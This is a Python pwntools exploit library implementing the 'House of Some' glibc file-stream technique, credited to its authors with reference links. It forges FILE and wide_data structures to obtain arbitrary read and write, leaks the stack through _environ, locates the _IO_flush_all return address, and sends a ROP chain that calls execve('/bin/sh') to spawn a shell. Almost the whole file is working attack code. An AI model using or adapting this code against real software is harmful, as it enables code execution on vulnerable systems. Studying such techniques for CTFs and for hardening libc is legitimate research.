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"""
By Csome, enllus1on
ref: https://github.com/CsomePro/House-of-Some
ref: https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more
"""
from pwn import *
import bisect
class HouseOfSome:
def __init__(self, libc: ELF, controled_addr, zero_addr=0):
self.libc = libc
self.controled_addr =controled_addr
self.READ_LENGTH_DEFAULT = 0x400
self.LEAK_LENGTH = 0x500
self.zero_addr = zero_addr
if self.zero_addr == 0:
self.zero_addr = self.libc.symbols['_environ'] - 0x10
self.fake_wide_data_template = lambda : flat({
0x18: 0,
0x20: 1,
0x30: 0,
0xE0: self.libc.symbols['_IO_file_jumps'] - 0x48,
}, filler=b"\x00")
self.fake_file_read_template = lambda buf_start, buf_end, wide_data, chain, fileno: flat({
0x00: 0,
0x20: 0,
0x28: 0,
0x38: buf_start,
0x40: buf_end,
0x70: p32(fileno),
0x82: b"\x00",
0x88: self.zero_addr,
0xc0: 2,
0xa0: wide_data,
0x68: chain,
0xd8: self.libc.symbols['_IO_wfile_jumps'],
}, filler=b"\x00")
self.fake_file_write_template = lambda buf_start, buf_end, chain, fileno: flat({
0x00: 0x800 | 0x1000 | 0x8000,
0x20: buf_start,
0x28: buf_end,
0x70: p32(fileno),
0x68: chain,
0xd8: self.libc.symbols['_IO_file_jumps'],
}, filler=b"\x00")
self.hoi_read_file_template = lambda read_addr, len, _chain, _fileno: fit({
0x00: 0x8000 | 0x40 | 0x1000,
0x20: read_addr,
0x28: read_addr + len,
0x68: _chain,
0x70: p32(_fileno),
0xc0: 0,
0xd8: self.libc.sym["_IO_file_jumps"] - 0x8,
}, filler=b'\x00')
self.wide_data_length = len(self.fake_wide_data_template())
self.read_file_length = len(self.fake_file_read_template(0, 0, 0, 0, 0))
self.write_file_length = len(self.fake_file_write_template(0, 0, 0, 0))
self.hoi_read_file_length = len(self.hoi_read_file_template(0, 0, 0, 0))
self.panel = max(self.hoi_read_file_length * 2, self.write_file_length + self.hoi_read_file_length)
self.switch = 0
self.addr_panel = [self.controled_addr, self.controled_addr+self.panel]
self.functions = [
(f.address, f) for f in self.libc.functions.values()
]
self.functions.sort(key=lambda x: x[0])
self.text_section_start = self.libc.get_section_by_name(".text").header.sh_addr + self.libc.address
self.text_section_end = self.libc.get_section_by_name(".text").header.sh_size + self.text_section_start
def _next_control_addr(self, addr, len):
"""
内存复用，仅仅使用self.panel * 2内存即可，防止多次RE后溢出
"""
if len <= self.panel:
self.switch = 1 - self.switch
return self.addr_panel[self.switch]
return self.addr_panel[0] + self.panel * 2
def read(self, fd, buf, len, end=0):
addr = self.controled_addr
f_read_file_0 = self.hoi_read_file_template(buf, len, addr+self.hoi_read_file_length, fd)
addr += self.hoi_read_file_length
self.controled_addr = self._next_control_addr(self.controled_addr, self.hoi_read_file_length * 2)
f_read_file_1 = self.hoi_read_file_template(self.controled_addr,
self.READ_LENGTH_DEFAULT,
0 if end else self.controled_addr,
0)
payload = flat([
f_read_file_0,
f_read_file_1,
])
assert b"\n" not in payload, "\\n in payload."
return payload
def write(self, fd, buf, len):
addr = self.controled_addr
f_write_file = self.fake_file_write_template(buf, buf+len, addr+self.write_file_length, fd)
addr += self.write_file_length
self.controled_addr = self._next_control_addr(self.controled_addr, self.hoi_read_file_length + self.write_file_length)
f_read_file_1 = self.hoi_read_file_template(self.controled_addr, self.READ_LENGTH_DEFAULT, self.controled_addr, 0)
payload = flat([
f_write_file,
f_read_file_1,
])
assert b"\n" not in payload, "\\n in payload."
return payload
def bomb(self, io: tube, retn_addr=0):
stack = self.bomb_raw(io, retn_addr)
rop = ROP(self.libc)
rop.base = stack
rop.call('execve', [b'/bin/sh', 0, 0])
log.info(rop.dump())
rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"
io.sendline(rop_chain)
def bomb_raw(self, io: tube, retn_addr=0):
payload = self.write(1, self.libc.symbols['_environ'], 0x8)
io.sendline(payload)
stack_leak = u64(io.recv(8).ljust(8, b"\x00"))
log.success(f"stack_leak : {stack_leak:#x}")
payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
io.sendline(payload)
buf = io.recv(self.LEAK_LENGTH)
flush_retn_addr = self.stack_view(buf)
if retn_addr == 0 and flush_retn_addr != 0:
retn_addr = flush_retn_addr
success("retn_addr(_IO_flush_all) find")
success(f"fix retn_addr to {flush_retn_addr:#x}")
log.success(f"retn_addr : {retn_addr:#x}")
offset = buf.find(p64(retn_addr))
log.success(f"offset : {offset:#x}")
assert offset > 0, f"offset not find"
payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300, end=1)
io.sendline(payload)
return stack_leak - self.LEAK_LENGTH + offset
def stack_view(self, stack_leak_bytes: bytes):
got_ret_addr = 0
next_flush = False
for i in range(0, len(stack_leak_bytes), 8):
value = u64(stack_leak_bytes[i:i+8])
idx = bisect.bisect_left(self.functions, value, key=lambda x: x[0])
if idx >= len(self.functions) or self.functions[idx][1].address != value:
idx -= 1
if idx < 0 or value - self.functions[idx][1].address >= self.functions[idx][1].size:
if value < self.libc.address:
continue
if self.text_section_start <= value <= self.text_section_end:
print(f"[{i:#x}] {value:#x} => libc.address+{value - self.libc.address:#x}")
if next_flush == True and got_ret_addr == 0:
got_ret_addr = value
continue
function = self.functions[idx][1]
if value - function.address > function.size:
continue
print(f"[{i:#x}] {value:#x} => {function.name}+{value - function.address}")
if "_IO_flush_all" in function.name:
got_ret_addr = value
if got_ret_addr == 0 and "_IO_do_write" in function.name:
next_flush = True
return got_ret_addr
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